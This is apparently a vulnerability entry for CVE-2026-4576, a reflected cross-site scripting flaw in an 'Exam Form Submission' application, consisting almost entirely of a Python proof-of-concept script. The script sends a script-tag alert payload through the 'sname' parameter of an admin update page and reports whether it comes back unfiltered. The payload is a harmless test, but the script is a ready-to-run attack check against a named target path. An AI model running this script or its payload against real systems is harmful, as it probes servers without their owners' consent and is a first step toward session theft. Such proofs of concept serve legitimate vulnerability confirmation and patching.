CVE-2026-4576 Exam Form Submission跨站脚本漏洞

import requests # Define the target URL # Replace 'target_ip' with the actual IP or domain of the vulnerable application target_url = "http://target_ip/admin/update_s5.php" # Define the payload for XSS # This payload attempts to execute a simple JavaScript alert payload = "<script>alert('CVE-2026-4576_XSS_Test');</script>" # Prepare the parameters # The vulnerability is in the 'sname' parameter params = { "sname": payload } try: # Send the GET request response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected in the response (unfiltered) if payload in response.text: print("[+] Vulnerability confirmed! The payload was reflected in the response.") else: print("[-] Vulnerability not confirmed or payload was filtered.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to the target: {e}")